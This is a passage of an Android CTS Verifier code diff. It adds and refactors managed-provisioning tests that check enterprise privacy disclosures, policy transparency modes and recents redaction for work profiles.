diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
new file mode 100644
index 0000000..1bfe44f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -0,0 +1,346 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.Manifest;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.database.DataSetObserver;
+import android.os.Bundle;
+import android.provider.Settings;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
+/**
+ * Test class to verify privacy information is shown for devices managed by a Device Owner.
+ */
+public class EnterprisePrivacyTestListActivity extends PassFailButtons.TestListActivity {
+
+    private static final String ENTERPRISE_PRIVACY_PAGE = "ENTERPRISE_PRIVACY_PAGE";
+    private static final String ENTERPRISE_PRIVACY_NETWORK_LOGGING
+            = "ENTERPRISE_PRIVACY_NETWORK_LOGGING";
+    private static final String ENTERPRISE_PRIVACY_BUG_REPORT = "ENTERPRISE_PRIVACY_BUG_REPORT";
+    private static final String ENTERPRISE_PRIVACY_SECURITY_LOGGING
+            = "ENTERPRISE_PRIVACY_SECURITY_LOGGING";
+    private static final String ENTERPRISE_PRIVACY_ENTERPRISE_INSTALLED_APPS
+            = "ENTERPRISE_PRIVACY_ENTERPRISE_INSTALLED_APPS";
+    private static final String ENTERPRISE_PRIVACY_LOCATION_ACCESS
+            = "ENTERPRISE_PRIVACY_LOCATION_ACCESS";
+    private static final String ENTERPRISE_PRIVACY_MICROPHONE_ACCESS
+            = "ENTERPRISE_PRIVACY_MICROPHONE_ACCESS";
+    private static final String ENTERPRISE_PRIVACY_CAMERA_ACCESS
+            = "ENTERPRISE_PRIVACY_CAMERA_ACCESS";
+    private static final String ENTERPRISE_PRIVACY_DEFAULT_APPS
+            = "ENTERPRISE_PRIVACY_DEFAULT_APPS";
+    private static final String ENTERPRISE_PRIVACY_DEFAULT_IME
+            = "ENTERPRISE_PRIVACY_DEFAULT_IME";
+    private static final String ENTERPRISE_PRIVACY_ALWAYS_ON_VPN
+            = "ENTERPRISE_PRIVACY_ALWAYS_ON_VPN";
+    private static final String ENTERPRISE_PRIVACY_COMP_ALWAYS_ON_VPN
+            = "ENTERPRISE_PRIVACY_COMP_ALWAYS_ON_VPN";
+    private static final String ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY
+            = "ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY";
+    private static final String ENTERPRISE_PRIVACY_CA_CERTS = "ENTERPRISE_PRIVACY_CA_CERTS";
+    private static final String ENTERPRISE_PRIVACY_COMP_CA_CERTS
+            = "ENTERPRISE_PRIVACY_COMP_CA_CERTS";
+    private static final String ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE
+            = "ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE";
+    private static final String ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE
+            = "ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE";
+    private static final String ENTERPRISE_PRIVACY_QUICK_SETTINGS
+            = "ENTERPRISE_PRIVACY_QUICK_SETTINGS";
+    private static final String ENTERPRISE_PRIVACY_KEYGUARD = "ENTERPRISE_PRIVACY_KEYGUARD";
+    private static final String ENTERPRISE_PRIVACY_ADD_ACCOUNT = "ENTERPRISE_PRIVACY_ADD_ACCOUNT";
+
+    public static final String EXTRA_TEST_ID =
+            "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_list);
+        setPassFailButtonClickListeners();
+        final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+        addTestsToAdapter(adapter);
+        adapter.registerDataSetObserver(new DataSetObserver() {
+            @Override
+            public void onChanged() {
+                updatePassButton();
+            }
+        });
+        setTestListAdapter(adapter);
+        getPackageManager().setComponentEnabledSetting(
+                new ComponentName(this, CompHelperActivity.class),
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+
+    private Intent buildCommandIntent(String command) {
+        return new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command);
+    }
+
+    private TestListItem buildCommandTest(String id, int titleRes, int infoRes,
+            int commandButtonRes, String command) {
+        return createInteractiveTestItem(this, id, titleRes, infoRes,
+                new ButtonInfo[] {
+                        new ButtonInfo(commandButtonRes, buildCommandIntent(command)),
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                               new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS))});
+    }
+
+    private TestListItem buildAdminGrantedPermissionTest(String id, int titleRes, int infoRes,
+            String permission) {
+        return createInteractiveTestItem(this, id, titleRes, infoRes,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
+                                CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
+                                .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
+                                .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
+                                        DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT)),
+                        new ButtonInfo(R.string.enterprise_privacy_grant, buildCommandIntent(
+                                CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
+                                .putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
+                                .putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
+                                        DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED)),
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS))});
+    }
+
+    private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_PAGE,
+                R.string.enterprise_privacy_page,
+                R.string.enterprise_privacy_page_info,
+                new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        adapter.add(buildCommandTest(ENTERPRISE_PRIVACY_NETWORK_LOGGING,
+                R.string.enterprise_privacy_network_logging,
+                R.string.enterprise_privacy_network_logging_info,
+                R.string.enterprise_privacy_retrieve_network_logs,
+                CommandReceiverActivity.COMMAND_RETRIEVE_NETWORK_LOGS));
+        adapter.add(buildCommandTest(ENTERPRISE_PRIVACY_BUG_REPORT,
+                R.string.enterprise_privacy_bug_report,
+                R.string.enterprise_privacy_bug_report_info,
+                R.string.enterprise_privacy_request_bug_report,
+                CommandReceiverActivity.COMMAND_REQUEST_BUGREPORT));
+        adapter.add(buildCommandTest(ENTERPRISE_PRIVACY_SECURITY_LOGGING,
+                R.string.enterprise_privacy_security_logging,
+                R.string.enterprise_privacy_security_logging_info,
+                R.string.enterprise_privacy_retrieve_security_logs,
+                CommandReceiverActivity.COMMAND_RETRIEVE_SECURITY_LOGS));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ENTERPRISE_INSTALLED_APPS,
+                R.string.enterprise_privacy_enterprise_installed_apps,
+                R.string.enterprise_privacy_enterprise_installed_apps_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_install,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_INSTALL_HELPER_PACKAGE)),
+                        new ButtonInfo(R.string.enterprise_privacy_uninstall,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_UNINSTALL_HELPER_PACKAGE)),
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS))}));
+        adapter.add(buildAdminGrantedPermissionTest(ENTERPRISE_PRIVACY_LOCATION_ACCESS,
+                R.string.enterprise_privacy_admin_granted_location_access,
+                R.string.enterprise_privacy_admin_granted_location_access_info,
+                Manifest.permission.ACCESS_FINE_LOCATION));
+        adapter.add(buildAdminGrantedPermissionTest(ENTERPRISE_PRIVACY_MICROPHONE_ACCESS,
+                R.string.enterprise_privacy_admin_granted_microphone_access,
+                R.string.enterprise_privacy_admin_granted_microphone_access_info,
+                Manifest.permission.RECORD_AUDIO));
+        adapter.add(buildAdminGrantedPermissionTest(ENTERPRISE_PRIVACY_CAMERA_ACCESS,
+                R.string.enterprise_privacy_admin_granted_camera_access,
+                R.string.enterprise_privacy_admin_granted_camera_access_info,
+                Manifest.permission.CAMERA));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_DEFAULT_APPS,
+                R.string.enterprise_privacy_default_apps,
+                R.string.enterprise_privacy_default_apps_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
+                                CommandReceiverActivity
+                                        .COMMAND_CLEAR_PERSISTENT_PREFERRED_ACTIVITIES)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_default_apps,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_ADD_PERSISTENT_PREFERRED_ACTIVITIES))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_DEFAULT_IME,
+                R.string.enterprise_privacy_default_ime,
+                R.string.enterprise_privacy_default_ime_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_keyboard,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_SET_DEFAULT_IME)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_CLEAR_DEFAULT_IME))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ALWAYS_ON_VPN,
+                R.string.enterprise_privacy_always_on_vpn,
+                R.string.enterprise_privacy_always_on_vpn_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ALWAYS_ON_VPN)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_CLEAR_ALWAYS_ON_VPN))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_COMP_ALWAYS_ON_VPN,
+                R.string.enterprise_privacy_comp_always_on_vpn,
+                R.string.enterprise_privacy_comp_always_on_vpn_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_start,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_CREATE_MANAGED_PROFILE)),
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_always_on_vpn,
+                                new Intent(CompHelperActivity.ACTION_SET_ALWAYS_ON_VPN)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_GLOBAL_HTTP_PROXY,
+                R.string.enterprise_privacy_global_http_proxy,
+                R.string.enterprise_privacy_global_http_proxy_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_proxy,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_GLOBAL_HTTP_PROXY)),
+                        new ButtonInfo(R.string.enterprise_privacy_clear_proxy,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_CLEAR_GLOBAL_HTTP_PROXY))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_CA_CERTS,
+                R.string.enterprise_privacy_ca_certs,
+                R.string.enterprise_privacy_ca_certs_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_install_cert,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_INSTALL_CA_CERT)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_CLEAR_CA_CERT))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_COMP_CA_CERTS,
+                R.string.enterprise_privacy_comp_ca_certs,
+                R.string.enterprise_privacy_comp_ca_certs_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_start,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_CREATE_MANAGED_PROFILE)),
+                        new ButtonInfo(R.string.enterprise_privacy_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_install_cert,
+                                new Intent(CompHelperActivity.ACTION_INSTALL_CA_CERT)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_FAILED_PASSWORD_WIPE,
+                R.string.enterprise_privacy_failed_password_wipe,
+                R.string.enterprise_privacy_failed_password_wipe_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_limit,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(CommandReceiverActivity
+                                        .COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_COMP_FAILED_PASSWORD_WIPE,
+                R.string.enterprise_privacy_comp_failed_password_wipe,
+                R.string.enterprise_privacy_comp_failed_password_wipe_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_start,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_CREATE_MANAGED_PROFILE)),
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_limit, new Intent(
+                                CompHelperActivity.ACTION_SET_MAXIMUM_PASSWORD_ATTEMPTS)),
+                        new ButtonInfo(R.string.enterprise_privacy_finish,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_QUICK_SETTINGS,
+                R.string.enterprise_privacy_quick_settings,
+                R.string.enterprise_privacy_quick_settings_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                "Foo, Inc."))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+                R.string.enterprise_privacy_keyguard,
+                R.string.enterprise_privacy_keyguard_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_SETTINGS)),
+                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                "Foo, Inc."))}));
+        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
+                R.string.enterprise_privacy_add_account,
+                R.string.enterprise_privacy_add_account_info,
+                new ButtonInfo[] {
+                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                new Intent(Settings.ACTION_ADD_ACCOUNT)),
+                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                buildCommandIntent(
+                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                "Foo, Inc."))}));
+    }
+
+    @Override
+    public String getTestId() {
+        return getIntent().getStringExtra(EXTRA_TEST_ID);
+    }
+
+    @Override
+    public void finish() {
+        super.finish();
+        Intent intent = buildCommandIntent(CommandReceiverActivity.COMMAND_CLEAR_POLICIES)
+                .putExtra(PolicyTransparencyTestListActivity.EXTRA_MODE,
+                        PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
+        startActivity(intent);
+        startActivity(buildCommandIntent(CommandReceiverActivity.COMMAND_REMOVE_MANAGED_PROFILE));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index acd346a..476eb80 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -29,6 +29,7 @@
 import android.media.audiofx.AudioEffect;
 import android.net.Uri;
 import android.nfc.cardemulation.CardEmulation;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Environment;
 import android.os.UserHandle;
@@ -67,7 +68,6 @@
                 new Intent(AlarmClock.ACTION_SET_TIMER),
                 new Intent(AlarmClock.ACTION_SHOW_ALARMS),
                 new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS),
-                new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS),
                 new Intent(Settings.ACTION_CAPTIONING_SETTINGS),
                 new Intent(Settings.ACTION_DATE_SETTINGS),
                 new Intent(Settings.ACTION_DEVICE_INFO_SETTINGS),
@@ -266,6 +266,11 @@
             notForwardedIntentsFromManaged.add(
                     new Intent(Settings.ACTION_PRINT_SETTINGS));
         }
+
+        if (Build.TYPE.equals("user")) {
+            forwardedIntentsFromManaged.add(
+                    new Intent(Settings.ACTION_APPLICATION_DEVELOPMENT_SETTINGS));
+        }
     }
 
     public boolean checkCrossProfileIntentFilters(int flag) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
index 5eaf862..0f57b87 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestActivity.java
@@ -45,9 +45,13 @@
         AdapterView.OnItemSelectedListener {
     public static final String ACTION_SHOW_POLICY_TRANSPARENCY_TEST =
             "com.android.cts.verifier.managedprovisioning.action.SHOW_POLICY_TRANSPARENCY_TEST";
+
+    // Identifies a test to perform. Type String. The possible values are the ones underneath.
     public static final String EXTRA_TEST =
             "com.android.cts.verifier.managedprovisioning.extra.TEST";
 
+    // In this case: should also contain an extra
+    // {@link CommandReceiverActivity.EXTRA_USER_RESTRICTION}
     public static final String TEST_CHECK_USER_RESTRICTION = "check-user-restriction";
     public static final String TEST_CHECK_AUTO_TIME_REQUIRED = "check-auto-time-required";
     public static final String TEST_CHECK_KEYGURAD_UNREDACTED_NOTIFICATION =
@@ -63,6 +67,8 @@
             "com.android.cts.verifier.managedprovisioning.extra.SETTINGS_INTENT_ACTION";
     public static final String EXTRA_TITLE =
             "com.android.cts.verifier.managedprovisioning.extra.TITLE";
+    // Identifies the test in the calling activity. We will set the result for this test.
+    // Type: String
     public static final String EXTRA_TEST_ID =
             "com.android.cts.verifier.managedprovisioning.extra.TEST_ID";
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index e00d353..5e6d33b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -39,9 +39,22 @@
         implements View.OnClickListener {
     public static final String ACTION_CHECK_POLICY_TRANSPARENCY =
             "com.android.cts.verifier.managedprovisioning.action.CHECK_POLICY_TRANSPARENCY";
-    public static final String EXTRA_IS_DEVICE_OWNER =
-            "com.android.cts.verifier.managedprovisioning.extra.IS_DEVICE_OWNER";
 
+    public static final String EXTRA_MODE =
+            "com.android.cts.verifier.managedprovisioning.extra.mode";
+
+    public static final int MODE_DEVICE_OWNER = 1;
+    public static final int MODE_PROFILE_OWNER = 2;
+    public static final int MODE_COMP = 3;
+
+    /**
+     * Pairs of:
+     * <ul>
+     *   <li>An intent to start {@link PolicyTransparencyTestActivity}
+     *   <li>a label to show the user.
+     * </ul>
+     * These contain all the policies except for the user restriction ones.
+     */
     private static final Pair<Intent, Integer>[] POLICIES;
     static {
         final String[] policyTests = new String[] {
@@ -94,7 +107,7 @@
         ALSO_VALID_FOR_PO.add(PolicyTransparencyTestActivity.TEST_CHECK_PERMITTED_INPUT_METHOD);
     }
 
-    private boolean mIsDeviceOwner;
+    private int mMode;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -105,7 +118,14 @@
         setPassFailButtonClickListeners();
         setSupportMsgButtonClickListeners();
 
-        mIsDeviceOwner = getIntent().getBooleanExtra(EXTRA_IS_DEVICE_OWNER, false);
+        if (!getIntent().hasExtra(EXTRA_MODE)) {
+            throw new RuntimeException("PolicyTransparencyTestListActivity started without extra "
+                    + EXTRA_MODE);
+        }
+        mMode = getIntent().getIntExtra(EXTRA_MODE, MODE_DEVICE_OWNER);
+        if (mMode != MODE_DEVICE_OWNER && mMode != MODE_PROFILE_OWNER && mMode != MODE_COMP) {
+            throw new RuntimeException("Unknown mode " + mMode);
+        }
 
         final ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
         addTestsToAdapter(adapter);
@@ -120,33 +140,49 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
-        for (String restriction : UserRestrictions.getUserRestrictions()) {
+        for (String restriction :
+                UserRestrictions.getUserRestrictionsForPolicyTransparency(mMode)) {
             final Intent intent = UserRestrictions.getUserRestrictionTestIntent(this, restriction);
-            if (!UserRestrictions.isRestrictionValid(this, restriction) ||
-                    (!mIsDeviceOwner && !UserRestrictions.isValidForPO(restriction))) {
+            if (!UserRestrictions.isRestrictionValid(this, restriction)) {
                 continue;
             }
             final String title = UserRestrictions.getRestrictionLabel(this, restriction);
-            String testId = (mIsDeviceOwner ? "DO_" : "PO_") + title;
+            String testId = getTestId(title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
             adapter.add(TestListItem.newTest(title, testId, intent, null));
         }
-
+        if (mMode == MODE_COMP) {
+            // no other policies for COMP
+            return;
+        }
         for (Pair<Intent, Integer> policy : POLICIES) {
             final Intent intent = policy.first;
             String test = intent.getStringExtra(PolicyTransparencyTestActivity.EXTRA_TEST);
-            if (!isPolicyValid(test) ||
-                    (!mIsDeviceOwner && !ALSO_VALID_FOR_PO.contains(test))) {
+            if (!isPolicyValid(test)) {
+                continue;
+            }
+            if (mMode == MODE_PROFILE_OWNER && !ALSO_VALID_FOR_PO.contains(test)) {
                 continue;
             }
             final String title = getString(policy.second);
-            String testId = (mIsDeviceOwner ? "DO_" : "PO_") + title;
+            String testId = getTestId(title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TITLE, title);
             intent.putExtra(PolicyTransparencyTestActivity.EXTRA_TEST_ID, testId);
             adapter.add(TestListItem.newTest(title, testId, intent, null));
         }
     }
 
+    private String getTestId(String title) {
+        if (mMode == MODE_DEVICE_OWNER) {
+            return "DO_" + title;
+        } else if (mMode == MODE_PROFILE_OWNER) {
+            return "PO_" + title;
+        } else if (mMode == MODE_COMP){
+            return "COMP_" + title;
+        }
+        throw new RuntimeException("Unknown mode " + mMode);
+    }
+
     private boolean isPolicyValid(String test) {
         final PackageManager pm = getPackageManager();
         switch (test) {
@@ -188,9 +224,9 @@
     public void finish() {
         super.finish();
         final Intent intent = new Intent(CommandReceiverActivity.ACTION_EXECUTE_COMMAND);
-        intent.putExtra(CommandReceiverActivity.EXTRA_COMMAND, mIsDeviceOwner
-                ? CommandReceiverActivity.COMMAND_DEVICE_OWNER_CLEAR_POLICIES
-                : CommandReceiverActivity.COMMAND_PROFILE_OWNER_CLEAR_POLICIES);
+        intent.putExtra(CommandReceiverActivity.EXTRA_COMMAND,
+                CommandReceiverActivity.COMMAND_CLEAR_POLICIES);
+        intent.putExtra(PolicyTransparencyTestListActivity.EXTRA_MODE, mMode);
         startActivity(intent);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
new file mode 100644
index 0000000..d9b6fda
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/RecentsRedactionActivity.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.AlertDialog;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.View;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.DialogTestListActivity;
+import com.android.cts.verifier.R;
+
+/**
+ * This test verifies that if a work profile is locked with a separate password, Recents views for
+ * for applications in the work profile are redacted appropriately.
+ */
+public class RecentsRedactionActivity extends DialogTestListActivity {
+    private static final String TAG = RecentsRedactionActivity.class.getSimpleName();
+
+    public static final String ACTION_RECENTS =
+            "com.android.cts.verifier.managedprovisioning.RECENTS";
+
+    private ComponentName mAdmin;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    private DialogTestListItem mVerifyRedacted;
+    private DialogTestListItem mVerifyNotRedacted;
+
+    public RecentsRedactionActivity() {
+        super(R.layout.provisioning_byod,
+                /* title */ R.string.provisioning_byod_recents,
+                /* description */ R.string.provisioning_byod_recents_info,
+                /* instructions */ R.string.provisioning_byod_recents_instructions);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mPrepareTestButton.setText(R.string.provisioning_byod_recents_lock_now);
+        mPrepareTestButton.setOnClickListener((View view) -> {
+            mDevicePolicyManager.lockNow();
+        });
+
+        mAdmin = new ComponentName(this, DeviceAdminTestReceiver.class.getName());
